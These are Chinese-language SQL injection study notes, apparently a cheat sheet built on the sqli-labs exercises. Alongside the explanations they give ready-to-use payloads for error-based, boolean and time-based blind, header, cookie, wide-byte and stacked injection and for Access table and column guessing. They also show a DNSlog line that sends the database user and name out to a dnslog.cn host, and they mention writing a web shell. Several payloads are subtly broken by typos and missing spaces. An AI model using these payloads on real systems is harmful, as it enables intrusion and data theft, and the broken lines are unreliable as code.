- ·SQL注入定义
- 通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令目的的入侵行为
- SQL注入产生的原因
- 没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断,导致了攻击者可以提交一段数据库查询代码,根据程序返回的结果,获得一些他想得到的数据
- sql注入分类
- 按数据
- 数字型
- 字符型
- 按返回结果
- 显示注入
- 盲注
- 按数据
- 判断标准
- 哪些地方存在sql注入
- 参数名
- 参数值
- cookie
- 目录名
- 文件名
- sql注入测试思路
- 盲注
- 1.判断是否存在注入,注入是字符型还是数字型
- 2.猜解当前数据库名
- 3.猜解数据库中的表名
- 4.猜解表中的字段名
- 5.猜解数据
- 联合查询注入
- 1.判断是否存在注入,注入是字符型还是数字型
- 2.猜解SQL查询语句中的字段数
- 3.确定显示的字段顺序
- 4.获取当前数据库
- 5.获取数据库中的表
- 盲注
- sqL常见函数
- 报错函数:extractvalue、updatexml、exp、GTID_SUBSET()等(mysql)。
- 截取函数:left、mid、substr(substring、substrB)。
- 判断函数:if、case when。
- 其他函数:ascii、length。
- 数据库构成
- 初始化安装mysql数据库后, 会默认创建4个系统数据库
- 数据库类型判断
- php的网站,常用数据库为MySQL,PostgreSQL
- 判断数据库类型:
- 端口号:
- MYSQL:3306
- PostgreSQL:5432
- 联合查询注入
- union连接两个以上selectSELECT语句的结果组合到一个结果集合中。前提是两个select必有相同列。
- 判断注入点列数 使用order by
- 通过查询数据表不存在的数据,从而执行后面的union语句,来获取显示位
- 使用联合查询注入爆出敏感数据
- group_concat( [distinct] 要连接的字段[order by 排序字段 asc/desc ] [separator '分隔符'] )
- 说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用orderby子句;separator是一个字符串值,缺省为一个逗号。
- 报错注入
- SQL报错注入的应用:当使用extractvalue(xml_frag,xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。
- 而~符号(ascii编码值:0x7e)是不存在xpath格式中的,所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error(xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
- 报错函数
- extractvalue():
- 字符型:'and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))='1
- 数字型:and(extractvalue(1,concat(0x7e,(select user()),0x7e)))=1
- updatexml():
- 字符型:'and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))='1
- 数字型:and+(updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1))=1
- concat()函数用于将两个字符串连接起来,形成一个单一的字符串
- extractvalue():
- 盲注
- 布尔盲注
- Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
- 还可以根据返回字节的变化来判断:正常情况下字节是:706,加单引号字节是:722。加两个单引号字节是:706。
- 时间盲注
- 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确
- 使用sleep函数:判断是否存在时间盲注,1'+and+sleep(5)--+。返回超过5秒,说明存在时间盲注
- 配合if函数使用,测试此poc是否能够利用。可以看到条件成立与否响应的时间差,说明此poc有效。
- 1'and+if(1=1,sleep(3),sleep(1))--+
- 布尔盲注
- UA注入
- 通过修改UA头注入
- ‘ and updatexml(1,concat(user()),1) and '
- refer注入
- 当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的,大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本,一般会把数据插入到某张表中所以可以用报错注入。
- 修改referer
- ’ and pdatexml(1,concat(user()),1) and '
- DMSLOG外带
- dns在解析时会留下记录 当dns服务器我们自己时, 既可以通过查看日志查询一些信息
- # 查询当前用户名
- http://192.168.157.129/sql-labs/Less-1/?id=1'and (select load_file(concat('\\\\',(selecthex(user())),'.682y4b.dnslog.cn/abc'))) --+
- # 查看当前数据库名
- http://192.168.157.129/sql-labs/Less-1/?id=1'and (select load_file(concat('\\\\',(selectdatabase()),'.682y4b.dnslog.cn/abc'))) --+
- cookie注入
- 对get传递来的参数进行了过率,忽略了cookie也可以传递参数
- 修改自身cookie , 后台获取到这个cookie后 ,会直接拿去数据库里面进行比较 , 比较的时候就有可能注入。
- 宽字节注入
- 数据库使用gbk编码的时候,会将两个字符合并成一个中文。特殊值字符如单引号都会被转义 ' -> \'(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\
- 比如sqli-labs第32关,输入单引号会被转义成 \'。
- 数据库使用gbk编码的时候,会将两个字符合并成一个中文。特殊值字符如单引号都会被转义 ' -> \'(因为GBK占用2个字节,而ascii占用1个字节),将两个字符看作一个汉字,从而消除转义字符\
- 堆叠注入
- 原理:在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
- 联合注入和堆叠注入的区别:
- 区别就在于union 或者unionall执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
- getshell
- 文件读写
- 基本要求:是root用户最高权限、知道网站的绝对路径
- 1、文件读写注入的原理
- 就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。
- 2、文件读写注入的条件
- 高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
- secure_file_priv选项
- access注入
- 基本流程
- 判断数据库类型->判断表名->判断列名->判断列名长度->查出数据。
- asp的网站,常用数据库为access、sqlserver。
- 判断数据库类型:
- and exsits (select * frommsysobjects)>0 access
- and exsits (select * fromsysobjects)>0 sqlserver
- 逐字破解法
- 查表 and exists(select * from 表名)
- 查列 and exists(select 列名 from表名 )
- 查数据:1.确定此条数据字段(列名)长度2.确定asc数据(asc编码)
- and (select top 1 len(列名) from 表名)=5//top1 仅显示第一条数据(select结果集元组),避免页面出错 经测试,此为此列第一条数据的长度。
- and (select top 1 len(列名) from 表名)>5//判断是不是长度大于5。
- and (select top 1 asc(mid(列名,位数,1)) fromadmin)=97 //mid()用于从文本中提取字段 mid(列名,起始位置,要返回的字符数)
- and (select top 1 asc(mid(user,1,1)) fromadmin)=97//返回页面正常没有报错,说明user列第一条数据第一位是a,
- and (select top 1 asc(mid(user,2,1)) fromadmin)=97//user列第2条数据第一位是b....一直猜到len(列名)长度
- 查表名
- andexists (select * from admin_user)
- //表名需要猜,access没有数据库 access数据库的结构为表名-列名-内容数据
- 常见表
- admin --->and exists (select * from admin)
- admin_user
- admin1
- user
- username
- manage
- user_name
- guanli、
- 查列名
- 判断列名:
- andexists (select admin from admin_user)
- admin
- admin_user
- user
- username
- password
- user_pass
- pass
- pwd
- ad
- manage
- passwd
- 查数据
- 判断列位数:
- orderby 7
- 使用联合查询
- union+select+1,2,3,4,5,6,7+from+admin_user,爆出显示位
- 利用上面得到列名,爆出admin、password
- 猜解管理员账号的第一个数据
- 通过判断ascii码来判断
- and (select top 1 asc(mid(admin,1,1)) from admin_user)=97 返回正常说明等于97 (97对应的字母为a),说明admin列第一条数据第一位是a,
- 以此类推
- 判断管理员账户的第二数据
- and (select top 1 asc(mid(admin,2,1)) from admin)=100
- ...
- 猜解管理员密码的方法类似。
- and (select top 1 asc(mid(password,x,1)) from admin)=xxx
- 偏移注入
- 解决表名知道列名不知道的情况,同时要求支持union select。
- 用*号来从最后一个字段数x向前逐个删除来代替,直到显示正常为止,*代表了所有admin表的字段。(有很大的随机性)
- 如:
- and 1=2 union select 1,2,3,4,5,,,* fromadmin_user
- 基本流程